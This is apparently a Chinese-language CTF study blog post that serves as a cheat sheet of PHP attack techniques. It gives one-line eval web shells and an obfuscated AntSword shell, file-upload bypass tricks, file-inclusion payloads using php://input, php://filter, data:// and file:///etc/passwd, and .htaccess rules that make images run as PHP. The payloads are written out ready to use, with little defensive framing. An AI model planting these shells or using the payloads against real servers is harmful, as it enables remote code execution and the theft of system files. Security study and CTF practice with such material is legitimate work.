php漏洞整理

一句话

<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>

蚁剑官方示例

<?php 
/**
* pwd=ant
*/
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>

文件上传绕过

文件名绕过

  1. 修改后缀为phtml

内容绕过

  1. 报头格式修改为:Content-Type: image/png
  2. 上传内容添加图片头部,如:GIF89a
  3. php标签绕过
<script language='php'>@eval($_POST['cmd']);</script>

文件包含

1. php input

  需要用post方法提交完整的php源码,例如data=<?php phpinfo();?>

http://xx.com/?file=php://input

2. php filter

2.1 读文件

  直接读取file.txt的内容,其中这种情况可以省略read。

http://xx.com/?file=php://filter/read/resource=file.txt

  如果读取php源码,因为会执行,所以返回前端是执行后的结果,这时候如果需要看实际源码,可以用base64编码后再读取。

http://xx.com/?file=php://filter/read=convert.base64-encode/resource=file.txt

2.2 写文件

  如果是写入,那么肯定有个参数用来提交内容,假设这个参数是txt。

http://xx.com/?file=php://filter/write/resource=test.txt&txt=我写入了

  如果是写入会被过滤,可以选择在前端写入base64编码,后端解密后写入文件。

http://xx.com/?file=php://filter/write=convert.base64-decode/resource=test.txt&txt=5oiR5YaZ5YWl5LqG

3. data

http://xx.com/?file=data://text/plain,<?php phpinfo();?>
http://xx.com/?file=data://text/plain;base64,上面代码base64编码

4. file

  直接读取文件。

http://xx.com/?file=file:///etc/passwd

5. htaccess

  有时候实在没办法上传正确后缀的程序文件执行,可以上传一个.htaccess文件,来执行指定后缀的文件。

  上传一个自定义的.htaccess,针对目录改变配置,下面是文件内容,这个配置可以告诉后端程序,在此目录的jpg当作php执行。

AddType application/x-httpd-php .jpg
AddHandler php5-script .php

  或者以下这样内容也行,只要文件包含cimer就能解析,比如文件名为cimertest包含要执行的内容。

<FilesMatch “cimer”>
SetHandler application/x-httpd-php
</FilesMatch>

-- Write by PercyC

2021年12月11日

文章作者: PercyC
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 percy家园
网络安全 ctf
喜欢就支持一下吧